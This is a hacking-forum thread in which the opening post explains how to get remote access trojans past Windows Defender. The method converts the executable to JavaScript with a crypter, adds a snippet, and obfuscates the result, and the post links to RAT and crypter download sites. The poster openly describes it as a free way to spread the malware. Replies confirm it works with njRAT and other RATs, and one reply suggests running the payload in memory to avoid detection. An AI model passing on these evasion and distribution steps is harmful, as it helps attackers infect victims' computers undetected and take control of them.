+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Remote Administration Tools (https://hackforums.net/forumdisplay.php?fid=114)
+---- Thread: FREE FUD RAT [Works with LimeRAT] (/showthread.php?tid=5920290)
FREE FUD RAT [Works with LimeRAT] - Hypnotist - Dec 18, 2018
Most of you are probably going to say "windows defender is easy to bypass" no, not anymore. It really isn't. I've tried all the paid Crypters and most Crypters get detected by Mircrosoft runtime which obviously everyone has.
I've discovered a way around it. It requires using a different RAT and converting the exe to a .js file and obfuscating the javascript.
Someone showed me this earlier and this is going to help me big time. I've tested my bots that I couldn't download and execute anything on before and it's working. So if you're having the same issue where your RAT does not execute and you need to move them around, use this.
REVENGE RAT
Spoiler (Click to View)
![[Image: download-2.png]](https://gfxf.net/images/2018/12/18/download-2.png)
Download: https://www.connect-trojan.net/2016/12/revenge-rat-v.0.3-by-napoleon.html
vSupreme Crypter v0.2
![[Image: download-1.png]](https://gfxf.net/images/2018/12/18/download-1.png)
Download: https://www.connect-trojan.net/2017/03/v...v.b01.html
When you have converted your exe to a js file open the js file in notepad and add this.
![[Image: qxTZwKq.png]](https://gfxf.net/images/2018/12/18/qxTZwKq.png)
You can easily make your .js output FUD by obfuscating the javascript.
https://www.danstools.com/javascript-obf.../index.php
https://obfuscator.io/
Hope this helps someone. It's also a free way to spread a FUD (or however undetected you can get it) RAT so I thought I'd share this.
Credit to: https://hackforums.net/member.php?action=profile&uid=1175356
Let me know what you guys think about this and if it helps you. 🤝
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - R4NS0M - Dec 18, 2018
Wow Nice Tutorial can you use another RAT like IM5?
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - opsplayer - Dec 18, 2018
Can you upload the files to another host provider? Can't seem to get the crypter.
Is the rat n crypter both necessary or can we just obfuscate the rat output alone?
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - Hypnotist - Dec 18, 2018
(Dec 18, 2018 10:30 AM)Vakaris Wrote: Wow Nice Tutorial can you use another RAT like IM5?
I don't think it will work with another RAT. Let me know if you try though. 🤝
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - Goldmouth - Dec 18, 2018
Whoa.. great thread. Will test a report back. Thank you.
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - MikeHunt2016 - Dec 18, 2018
Thanks to OP for this thread. Keep up the good work mate
M.H
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - Angelis - Dec 18, 2018
Can confirm this method works.
Java is not executed the same method as executable's in Windows environments. Thus bypassing many existing security checks.
Nice write up OP. Thanks for sharing.
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - NYANxCAT - Dec 18, 2018
(Dec 18, 2018 12:00 PM)Hypnotist Wrote: I don't think it will work with another RAT. Let me know if you try though. 🤝
Great work m8 yeah PowerShell is good for bypass some AV and windows def, I will test it later. I think it would work with LimeRAT and AsyncRAT, maybe even njRAT.
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - Hypnotist - Dec 18, 2018
(Dec 18, 2018 06:26 PM)˗ˏˋ NYAN CAT ˎˊ˗ Wrote: Great work m8 yeah PowerShell is good for bypass some AV and windows def, I will test it later. I think it would work with LimeRAT and AsyncRAT, maybe even njRAT.
You're right, it does work with njRAT! Know any RAT's with reverse proxy it would work with? Would be helping me a great deal.
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - NYANxCAT - Dec 18, 2018
(Dec 18, 2018 06:31 PM)Hypnotist Wrote: You're right, it does work with njRAT! Know any RAT's with reverse proxy it would work with? Would be helping me a great deal.
You should try QauasarRAT
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - no$fer7u - Dec 18, 2018
Do you think this will work on QuasarRat?
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - Hypnotist - Dec 18, 2018
(Dec 18, 2018 06:43 PM)˗ˏˋ NYAN CAT ˎˊ˗ Wrote: You should try QauasarRAT
Doesn't work unfortunately. Thanks though. ✌
(Dec 18, 2018 06:45 PM)dogge Wrote: Do you think this will work on QuasarRat?
Tested, no it doesn't.
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - no$fer7u - Dec 18, 2018
(Dec 18, 2018 06:51 PM)Hypnotist Wrote: Doesn't work unfortunately. Thanks though. ✌
Tested, no it doesn't.
Damn haha gonna test it on Orcus if this works
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - CyberStrike - Dec 18, 2018
So yes SquiblyDoo has been known since 2016 xml/js are loved by powershell. Seems that it does a hexdump of the executable then proceeds to base64 encode it hence the "TVqQAAMAAAAEAAAA"
echo "TVqQAAMAAAAEAAAA" | base64 -d
MZ�
It's dropping to disk try to run in memory, give DotNetToJscript a look providing that the payload is in dotnet. Either way good stuff, tradecraft is important. I believe this still should be in powershell logs.. deobfuscated.
https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
RE: Bypass Microsoft Security (Major Problem Solved) - All Ratters Read This - ***W0lf*** - Dec 18, 2018
(Dec 18, 2018 09:01 AM)Hypnotist Wrote: Most of you are probably going to say "windows defender is easy to bypass" no, not anymore. It really isn't. I've tried all the paid Crypters and most Crypters get detected by Mircrosoft runtime which obviously everyone has.
I've discovered a way around it. It requires using a different RAT and converting the exe to a .js file and obfuscating the javascript.
Someone showed me this earlier and this is going to help me big time. I've tested my bots that I couldn't download and execute anything on before and it's working. So if you're having the same issue where your RAT does not execute and you need to move them around, use this.
REVENGE RAT
Spoiler (Click to View)
Download: https://www.connect-trojan.net/2016/12/revenge-rat-v.0.3-by-napoleon.html
vSupreme Crypter v0.2
Download: https://www.connect-trojan.net/2017/03/v...v.b01.html
When you have converted your exe to a js file open the js file in notepad and add this.
You can easily make your .js output FUD by obfuscating the javascript.
https://www.danstools.com/javascript-obf.../index.php
https://obfuscator.io/
Hope this helps someone. It's also a free way to spread a FUD (or however undetected you can get it) RAT so I thought I'd share this.
Credit to: https://hackforums.net/member.php?action=profile&uid=1175356
Let me know what you guys think about this and if it helps you. 🤝
I'm glad i could help you! 🤝 🤝 🤝